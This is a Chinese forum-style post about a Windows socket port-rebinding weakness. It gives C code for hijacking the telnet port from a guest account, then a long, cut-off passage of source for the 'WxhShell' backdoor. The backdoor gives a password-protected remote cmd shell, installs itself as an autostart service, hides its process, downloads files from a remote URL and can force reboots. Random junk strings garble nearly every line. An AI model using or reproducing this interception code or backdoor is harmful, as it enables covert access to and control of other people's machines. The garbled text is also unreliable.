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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a}g<<{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :Aa5,{v_ O`f[9^fN saddr.sin_family = AF_INET; 5 \iX%w@ T9?8@p\}( saddr.sin_addr.s_addr = htonl(INADDR_ANY); !BDJU LMRq.wxbbB bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J-ErG! `u"
)*Q} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B-oQjr- 3Ct)5J 这意味着什么?意味着可以进行如下的攻击: 7v
V~O@JP si1Szmx, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PouWRGS_ =sUrSVUeU 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c7@[RG ! Y'O3RA5E 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x"~gulcz *?~&O.R" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ]--"
K{ TFO4jjiC" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7OD2/{]5 &?*H`5#?G 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i#I7ncX hQ}y(2A.XI 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J\E?rT ^wD@)Dz #include RG6U~o1 #include M.K%;j` #include ;Dp<|n #include ] p*Fq^ DWORD WINAPI ClientThread(LPVOID lpParam); /DX6Hkkj % int main() "b[w%KYyl { O4oI&i 7 WORD wVersionRequested; nEgYypwr DWORD ret; 4Un%p7Y~ WSADATA wsaData; ^Is#_Z| BOOL val; 15_Px9 SOCKADDR_IN saddr; $O9,Gvnxx SOCKADDR_IN scaddr; FvVM}l' int err; %
U|4%P SOCKET s; [orS-H7^ SOCKET sc; )\+1*R|H} int caddsize; "H|hN HANDLE mt; lNx:_g:SrZ DWORD tid; Su]p6B wVersionRequested = MAKEWORD( 2, 2 ); |W*i'E err = WSAStartup( wVersionRequested, &wsaData ); xeW}`i5_w if ( err != 0 ) { evlz R/ printf("error!WSAStartup failed!\n"); f,VJfY?# return -1; c^7QiTt_ } z4r g.ai saddr.sin_family = AF_INET; <|;)iT1VeT pwmH(94$0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S8Yti M,g$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;mwU>l,4 saddr.sin_port = htons(23); -J^t#R^$` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (3N;- { LfX[(FP printf("error!socket failed!\n"); l{t!
LTf; return -1; yZY.B
{ } jfjT::f>l val = TRUE; c=<5DC&p //SO_REUSEADDR选项就是可以实现端口重绑定的 /^':5"=o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %Wa. 2s { '7UIzk| printf("error!setsockopt failed!\n"); XX'mM v return -1; lx&;?QQ } \s_`ZEB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G$E+qk
nJL //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NU%<Ws= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hIFfvUl 94xWMX2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $kxP{0u { `:kI@TPI_C ret=GetLastError(); HB9|AQ4K printf("error!bind failed!\n"); kB=\a( return -1; p]x9hZ } nZ/pi$7 listen(s,2);
t&H3yV while(1) -$o4WSd~ { 5?-@}PL!Y caddsize = sizeof(scaddr); {xCqz0 //接受连接请求 G'(8/os{ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HBcL1wfS if(sc!=INVALID_SOCKET) ~ ":}Rs { %Iv*u sXP mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,o sM|!, if(mt==NULL) DgKe!w$ { 6Jd.Eg ~A7 printf("Thread Creat Failed!\n"); 17+2`@vJgM break; \pVWYx } e#s-MK-Q } ab^>_xD< CloseHandle(mt); $m;DwlM } b>f{o_ closesocket(s); ok(dCAKP WSACleanup(); Y1 *8&xT return 0; Kd;)E 9Ti } ObSRd$M DWORD WINAPI ClientThread(LPVOID lpParam) aLO'.5
~^ { Gk]6WLi SOCKET ss = (SOCKET)lpParam; ?(>fB2^ SOCKET sc; eY8rm unsigned char buf[4096]; >rid3~ SOCKADDR_IN saddr; ?VR:e7|tU long num; 4x2,X`pe3 DWORD val; P:fcbfH+ DWORD ret; Q$8K-5U% //如果是隐藏端口应用的话,可以在此处加一些判断 hv#|dI=kZR //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 HB,
k}Q saddr.sin_family = AF_INET; YOQ>A*@4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s> JWNP saddr.sin_port = htons(23); O^KIB%}fu if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?k+>~k{}a { Fm4)|5 printf("error!socket failed!\n"); UpS7>c7s return -1; ^(~%'f } >WmTM0 val = 100; 8 EUc
6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pvY BhTz0 { 67A g.f6- ret = GetLastError(); Z&Xp9"j,@; return -1; }$Z0v` } h+j{;evN if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G!.%Qqs { UHFI4{Wz ret = GetLastError(); 69$gPY'3 return -1; 9;R'Xo=y } tWaM+W if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H,0Io { Xsd+5="{N printf("error!socket connect failed!\n"); u:M)JG closesocket(sc); bL0>ul" closesocket(ss); ^n9)rsb return -1; 90UZ\{"> } .A
apO}{ while(1) [(m+Ejzi% { ][ 1
iKT //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 # b94S?dq //如果是嗅探内容的话,可以再此处进行内容分析和记录 n
'E:uXv" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +MyXIWmD num = recv(ss,buf,4096,0); # "!q_@b,D if(num>0) m*~Iu<5L send(sc,buf,num,0); \`Ow)t: else if(num==0) Ft 6{g
JBG break; #TPS?+( num = recv(sc,buf,4096,0); 3NSX(gC% if(num>0) Z~v-@ send(ss,buf,num,0); XU|>SOR@z else if(num==0) ~TYpq;rq break; PgdHH:v) } 0$=w8tP) closesocket(ss); 4~~G
i`XE closesocket(sc); &*#Obv return 0 ; bDjm:G } 1h#e-Oyff L)X[$: bPVQ- ========================================================== v /x~L$[ R3hyz~\x& 下边附上一个代码,,WXhSHELL <g1=jG:7k &n~v;M ========================================================== DdCNCXU 8 t`lRWJ #include "stdafx.h" .qS(-7< 8 DPn5E#M1 #include <stdio.h> HwZ"l31 #include <string.h> @7`=0;g #include <windows.h> Z7dyPR #include <winsock2.h> Q/`W[Et #include <winsvc.h> `Jn2(+ #include <urlmon.h> y&6 pc (D2N_l(`< #pragma comment (lib, "Ws2_32.lib") .O6(QI*
#pragma comment (lib, "urlmon.lib") s2"<<P[q' HpIWH* #define MAX_USER 100 // 最大客户端连接数 =fK6P6'B #define BUF_SOCK 200 // sock buffer yR1v3D4E #define KEY_BUFF 255 // 输入 buffer `Ha<t. v( c]68$;Z7 #define REBOOT 0 // 重启 <lTLz$QE
#define SHUTDOWN 1 // 关机 N2.Ym;^ xjh(;S' #define DEF_PORT 5000 // 监听端口 >hO9b;F} zI"1.^Trn #define REG_LEN 16 // 注册表键长度 JKA%$l0 #define SVC_LEN 80 // NT服务名长度 J~|:Q.Rt` S!h=HE // 从dll定义API LG;U?:\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZKt`>KZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !OV+=Rwdx typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e#!p6+#" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2?@Ozr2Uh @t2S"s$m // wxhshell配置信息 _K3;$2d|R struct WSCFG { =w ! 6un int ws_port; // 监听端口 c7A]\1 ~ char ws_passstr[REG_LEN]; // 口令 9QHV%% int ws_autoins; // 安装标记, 1=yes 0=no N#GMvU#R char ws_regname[REG_LEN]; // 注册表键名 DLPg0>;jl char ws_svcname[REG_LEN]; // 服务名 )6{,y{5! char ws_svcdisp[SVC_LEN]; // 服务显示名 B7(bNr char ws_svcdesc[SVC_LEN]; // 服务描述信息
=@!s[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H1r8n$h int ws_downexe; // 下载执行标记, 1=yes 0=no T
3<2ds char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ;s?,QvE{r# char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tHV+#3h f&!{o= }; ,"5][RsOn RMlx[nsq // default Wxhshell configuration Y_/w}HB struct WSCFG wscfg={DEF_PORT, uZa)N-=b2 "xuhuanlingzhe", La$?/\Dv) 1, BMb0Pu8 "Wxhshell", g}$B4_sY "Wxhshell", LerRrN}~ "WxhShell Service", ` >[Offhd "Wrsky Windows CmdShell Service", $l_\9J913 "Please Input Your Password: ", ZMGC@4^F 1, gWfMUl " http://www.wrsky.com/wxhshell.exe", ~p
x2kHZ "Wxhshell.exe" ,L\>mGw }; up2wkc8 <OTx79m // 消息定义模块 O?0`QMY char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q
+!i6!6r char *msg_ws_prompt="\n\r? for help\n\r#>"; c~u91h? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; !M}ZK( char *msg_ws_ext="\n\rExit."; YL/B7^fd8 char *msg_ws_end="\n\rQuit."; IHv>V9yiG char *msg_ws_boot="\n\rReboot..."; t:YMF$Z char *msg_ws_poff="\n\rShutdown..."; $:D\yZ, char *msg_ws_down="\n\rSave to "; |%@pjJ`3 !d&SVS^mo char *msg_ws_err="\n\rErr!"; y>0Gmr char *msg_ws_ok="\n\rOK!"; Jk57| )/ T@d4NF# char ExeFile[MAX_PATH]; O@a7MzJ int nUser = 0; O+t'E9Fa HANDLE handles[MAX_USER]; {Rq5=/b int OsIsNt; G%>M@nYUE i93^E~q] SERVICE_STATUS serviceStatus; EZ[e
a< SERVICE_STATUS_HANDLE hServiceStatusHandle; _Uhl4Mh rC6@
] // 函数声明 3cc;BWvM int Install(void); !-4VGt&c, int Uninstall(void); o
@nsv&i int DownloadFile(char *sURL, SOCKET wsh); @4Lol2 int Boot(int flag); Va^(cnwa void HideProc(void); yC7lR#N8j0 int GetOsVer(void); 5C-XQS1 int Wxhshell(SOCKET wsl); zT ")!Df>' void TalkWithClient(void *cs); (3&P8ZGNR int CmdShell(SOCKET sock); x5b .^75p$ int StartFromService(void); n&8SB'-r int StartWxhshell(LPSTR lpCmdLine); Wa9yyc W!JEl|] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %v[KLMo'( VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9>=S@hVMd ]xPy-j6C // 数据结构和表定义 ^GNL:D%6d SERVICE_TABLE_ENTRY DispatchTable[] = 36}&{A { zGa
V^X {wscfg.ws_svcname, NTServiceMain}, ,,;vG6^a {NULL, NULL} {Gw{W&< }; t(UdV 04:QEC"9mj // 自我安装 3-BC4y/ int Install(void) =d/$B!t{ { [0lO0ik>G char svExeFile[MAX_PATH]; .:=5|0m HKEY key; rN'}IS@5 strcpy(svExeFile,ExeFile); \{={{O fa!8+kfi // 如果是win9x系统,修改注册表设为自启动 >^D5D%" if(!OsIsNt) { FY
pspv?4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l_pf9!z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lqvP
Dz RegCloseKey(key); . dJBv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1V-si bE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D[`~=y( RegCloseKey(key); -fOBM 4 return 0; @ X5#? } _z>%h>L|g } )gV @6w } T1;>qgp4b else { u56F;y 9]:F!d/ // 如果是NT以上系统,安装为系统服务 fvj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yh{U!hG if (schSCManager!=0) bSa]={}L( { <t dsUh:?& SC_HANDLE schService = CreateService l0eh}d ( ;WG%)^e schSCManager, Rg3g:TV9c wscfg.ws_svcname, ynJ)6n7a wscfg.ws_svcdisp, MJU*Sq SERVICE_ALL_ACCESS, 68~5Dx SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U "v=XK)! SERVICE_AUTO_START, M|7][!<G! SERVICE_ERROR_NORMAL, M6y|;lh''c svExeFile, #v*3-) 8 NULL, dv?t;D@p! NULL, ON"p^o>/_? NULL, AJ
z 1 NULL, lXXWQ= NULL
M,we,!B0 ); !\\OMAf7 if (schService!=0) l=C|4@ { zm#%]p80f CloseServiceHandle(schService); j|@8VxZ CloseServiceHandle(schSCManager); 6O" y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); : :928y strcat(svExeFile,wscfg.ws_svcname); (&M,rW~Qxs if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g`4WisL1n RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d w'P =8d RegCloseKey(key); \_7'f return 0; '
?a d } ={50>WXE } P>R u CloseServiceHandle(schSCManager); ;8w
CQ } N!<X%Ym } 6\? 2=dNX lU.aDmy< return 1; .2y @@g } r9p ((ir VUD9ZyPw // 自我卸载 % -.V6}V int Uninstall(void) f7Gs1{ { -i]2b HKEY key; ?8)k6: uM9Gj@_ if(!OsIsNt) { [K1z/ea)V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /as+ TU`A RegDeleteValue(key,wscfg.ws_regname); _5o5/@ RegCloseKey(key); TJ|do`fw> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {x~r$")c? RegDeleteValue(key,wscfg.ws_regname); "ZuA._ RegCloseKey(key); \"d\b><R return 0; uCgJF@ } be [E^% } i]& >+R<6 }
I p|[ else { =FQH5iSd f DPLB[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .f|)od[ if (schSCManager!=0) DH uUEv< { h]}DMVV] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dwb ^z+ if (schService!=0) T*k}E { VRg
y if(DeleteService(schService)!=0) { $<L@B|}F) CloseServiceHandle(schService); Gsy'':u CloseServiceHandle(schSCManager); /1eeNbd return 0; 6 kD. } NleMZ CloseServiceHandle(schService); 9 $^b^It } eL
[.;_ CloseServiceHandle(schSCManager); :bkmm,%O } -X-sykDm } J^zB5W,) M]xfH * return 1; z~/e\ } .>2]m[53 xF*i+'2 // 从指定url下载文件 xrkR)~ E int DownloadFile(char *sURL, SOCKET wsh) +5GPU 9k { ~DS.b-E HRESULT hr; l!:L<B char seps[]= "/"; H>%L@Btw char *token; .&n!4F' char *file; hJ75(I
*j char myURL[MAX_PATH]; 5+t$4N+P char myFILE[MAX_PATH]; H% FP!03 9{Igw"9ck strcpy(myURL,sURL); 3il$V78| token=strtok(myURL,seps); FJFO0Hb6 while(token!=NULL) bd2QQ1[1vh { !Oi':OQG file=token; 2rHQ7 token=strtok(NULL,seps); whFJ] } 4ZkaH(a1 Xm<|m# GetCurrentDirectory(MAX_PATH,myFILE); +]Ev strcat(myFILE, "\\"); DeI3(o7 strcat(myFILE, file); u[nLrEnD send(wsh,myFILE,strlen(myFILE),0); ^OK;swDW send(wsh,"...",3,0); i;\n\p1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;_0frX if(hr==S_OK) $y%IM`/w return 0; GE=PaYz else >[Tt'.S!? return 1; RL*b47, wM}AWmH } i/PL!'oq tD,I7%|@ // 系统电源模块 CtZOIx.;| int Boot(int flag) szD9z{9"y { Hxn#vAc HANDLE hToken; ,o}CBB! k TOKEN_PRIVILEGES tkp; dV
/Es Uy@:-NC)kn if(OsIsNt) { <`NtTG OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `rV-,-r@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k7]4TIUD* tkp.PrivilegeCount = 1; lHE \Z` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SAE'y2B* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .vd*~U" if(flag==REBOOT) { 0qm CIcg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EAz>`~ return 0; uUe#+[bD } S|?P#.=GX else { 8!MVDp[|" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GGUwS return 0; a%`L+b5-$ } ]$Q@4=fb } 2>f3nW else { u/xP$ if(flag==REBOOT) { @VyF'
?} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HcrlcxwM\i return 0; U&SSc@of } mRN[lj else { -![{Zb@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zoBp02j return 0; XANJ A } iH>b"H> } @c}Gw;e C#P>3" return 1; j"+6aD/lv } _>^Y0C[?5 %VE FruM // win9x进程隐藏模块 oG-Eac, void HideProc(void) iz+,,UH { }4Q3S1|U X @/X65=[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,V)hV@Dk if ( hKernel != NULL )
&a6-+r { X5= Ki
$+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [C!m,4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X?] Mzcu FreeLibrary(hKernel); v7v> } q?8#D [q^pMH#U" return; !e~d,NIy } aHPx'R Y5*A,piq // 获取操作系统版本 ?.ofs} int GetOsVer(void) ;zSV~G6- { ebLt:gGo OSVERSIONINFO winfo; 4$4Tx9C winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )i:"cyoE GetVersionEx(&winfo); }S%}%1pG7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,t|_Nc
return 1; COD^osM@ else 1yeD-M"w return 0; Z*(OcQ- } h}}7_I9 ObataUxQT // 客户端句柄模块 V1A7hRjxvG int Wxhshell(SOCKET wsl) J+`gr_& { k1LbWR1%wB SOCKET wsh; [TT:^F(Y struct sockaddr_in client; v4\
m9Pu4 DWORD myID; S-brV\v7 <4^y7]]F while(nUser<MAX_USER) r)<n)eXeD { syb$% int nSize=sizeof(client); Q?'Ax"$D wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k;.<DN if(wsh==INVALID_SOCKET) return 1; UYpln[S VD{_6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SQk5SP if(handles[nUser]==0) 7K!n'dAi6 closesocket(wsh); HBw0N? else }~#qDrK nUser++; s3~6[T?8 } V_9\Ax'X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @VsK7Eo fi6_yFl return 0; z7a@'+' } w_Z*X5u sZokiFJ // 关闭 socket -Q1~lN m: void CloseIt(SOCKET wsh) b+BX >$ { 0%3T'N% closesocket(wsh); Tn$|
Xa+:s nUser--; NE Z ]% ExitThread(0); k7z{q/]M } 4Q\~l( n>%TIoY // 客户端请求句柄 eT8h:+k void TalkWithClient(void *cs) , qhv( { 24Htr/lPCT /ZSdY_%s SOCKET wsh=(SOCKET)cs; u#Uc6? E char pwd[SVC_LEN]; \BSPv]d char cmd[KEY_BUFF]; ~s[Yu!( char chr[1]; ET3+07 int i,j; KpO%)M!/Z# mPi{: while (nUser < MAX_USER) { ML
X: S? oXqx]@7 if(wscfg.ws_passstr) { tNW0 C] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C}]rx{xC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q\$cBSJC1 //ZeroMemory(pwd,KEY_BUFF); "C+Fl
/v i=0; ,E4qxZC(X while(i<SVC_LEN) { o4,m+: 2V*<J:;wb // 设置超时 l3kBt-m fd_set FdRead; l`{JxVg struct timeval TimeOut; }$s._)a FD_ZERO(&FdRead); 9K{0x7~ FD_SET(wsh,&FdRead); 23`pog{n TimeOut.tv_sec=8; yy\d<-X~ TimeOut.tv_usec=0; 6EG`0h6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x0L,$Ol if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); glWa? #1 /A`Lyp# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YZp]vlm~ pwd =chr[0]; \JZ'^P$Q if(chr[0]==0xd || chr[0]==0xa) { [m]O^Hp{{ pwd=0; [zl"G^z break; PPNZ(j } 65pC#$F<x i++; uvGFo)9q3 } |7G=f9V "gi 1{ // 如果是非法用户,关闭 socket 5LxzET"P if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cU r'mb } ]F,v#6qi LD}ZuCp! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gt?ckMB send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mg4:N zMN4cBL9m while(1) { skfFj&_T )TgjaR9G ZeroMemory(cmd,KEY_BUFF); ZlYb8+rW iI%"]- 0@1 // 自动支持客户端 telnet标准 wB0ONH[ j=0; ed7Hz#Qc while(j<KEY_BUFF) { qL68/7:A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "8`f x cmd[j]=chr[0]; Z9 tjo1X if(chr[0]==0xa || chr[0]==0xd) { affig cmd[j]=0; YQ<O.E break; ]]bL;vlw } Nv_"?er+y j++; 2qUC@d<K } >=U n=Q% g\
p; // 下载文件 eVbaxL!Q^ if(strstr(cmd,"http://")) { X2p9KC send(wsh,msg_ws_down,strlen(msg_ws_down),0); rgg3{bU/ if(DownloadFile(cmd,wsh)) l=<
: send(wsh,msg_ws_err,strlen(msg_ws_err),0); > 9wEx[ else fdTyY ; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t5pf4M7 } ~4+=C\r else { {EGm6WSQ^ w`Js"_\ switch(cmd[0]) { 9:l>FoXS QK%6Ncv // 帮助 <CUe"WbE) case '?': { #x|h@(y| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NEh5
break; u4[3JI> } i<nUp1r( // 安装 &U8W(NxN case 'i': { W.AN0N if(Install()) g&"__~dS-F send(wsh,msg_ws_err,strlen(msg_ws_err),0); 38T2IN else cB9`U4< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YkLEK|d break; O)!MWmr } B?r [| // 卸载 nzHsyL case 'r': { rTjV/~ if(Uninstall()) G#;$; send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZO $}m? else t`X-jr)g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lvz&7Z b break; +kKfx! } <t0o{}^P* // 显示 wxhshell 所在路径 ye)CfP=ID\ case 'p': { ?5!>k^q char svExeFile[MAX_PATH]; G6(U\VFqO strcpy(svExeFile,"\n\r"); ;F;`y), strcat(svExeFile,ExeFile); +<P%v k send(wsh,svExeFile,strlen(svExeFile),0); ')/yBH9mR break; Dh|8$(Jt } =@>[ // 重启 XZe ZqBr case 'b': { Td5;bg6Qy send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yA+:\%y$ if(Boot(REBOOT)) 0g@
8x_3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); c91rc> else { 5M2G ;o closesocket(wsh); K?q1I<94 ExitThread(0); S5Q$dAL } {uRnZ/m break; Py[Z9KLX } Y&k6Xhuao // 关机 \$Nx`daFi case 'd': { iS^IqS send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /CAi%UH,F if(Boot(SHUTDOWN)) S&@uY#_(*T send(wsh,msg_ws_err,strlen(msg_ws_err),0); xhIC["z5 else { FXPw 5 closesocket(wsh); hYW<4{Gjr ExitThread(0); DM%4V|F" } PZRm.vC)k break; %<q l } gekW&tRie // 获取shell b"y][5VE case 's': { =M'y& iz- CmdShell(wsh); $!<J_d* closesocket(wsh); A({8p ExitThread(0); nJ`JF5tI break; &zr..i4O } 8qfg=mu+% // 退出 ZgL4$% case 'x': { [*O#6Xu send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qsUlfv9L6 CloseIt(wsh); eXI ^9uH break; 2c.~cNx`q[ } HPGi5rU // 离开 [}|-%4s case 'q': { XU Hu=2F send(wsh,msg_ws_end,strlen(msg_ws_end),0); t>h<XPJi closesocket(wsh); !+4}x;!8 WSACleanup(); Kv[,!P"Y exit(1); h*f= break;
qh/q< } _'k?9eN` } C
G~)` } \Clz#k8l1 m-lUgx7 // 提示信息 *s/sF@8<X if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #e0tT+ } #~54t0|Cd> } Z<Rz}8s n`T
4aDm return; ?w1_.m|8u } O^I~d{M 5I .9WJ/RKZ\D // shell模块句柄 }> k9]Y int CmdShell(SOCKET sock) . \*Z: { h[%`'(
STARTUPINFO si; '+NmHu:q ZeroMemory(&si,sizeof(si)); x2.G1 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2 As 4} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TSmuNCR PROCESS_INFORMATION ProcessInfo; lNQ t char cmdline[]="cmd"; ~wIVw} CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z mF}pa,gd return 0; ?'p`Qv } 0 ]U
;5 *KF: // 自身启动模式 w-R>gdm int StartFromService(void) "g\ { {j[[E/8N!y typedef struct LpJ\OI*v { ;VM/Cxgep DWORD ExitStatus; T5&jpP`M DWORD PebBaseAddress; ;Yyg(Ex DWORD AffinityMask; ErJi
DWORD BasePriority; &h-d\gMJ ULONG UniqueProcessId; @"-<m|lM ULONG InheritedFromUniqueProcessId; zWgNDYT~ } PROCESS_BASIC_INFORMATION; too=+'<N</ q"'^W<i PROCNTQSIP NtQueryInformationProcess; zuWj@YG\. xj)*K%re static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,:G.V static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,2DKp hh oDTt+b HANDLE hProcess; ?UoA'~= PROCESS_BASIC_INFORMATION pbi; 1?`,h6d*= CTbdY,=B HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zF.rsNY if(NULL == hInst ) return 0; \szx.IZT oA}&o_Q% g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]|( (&Y
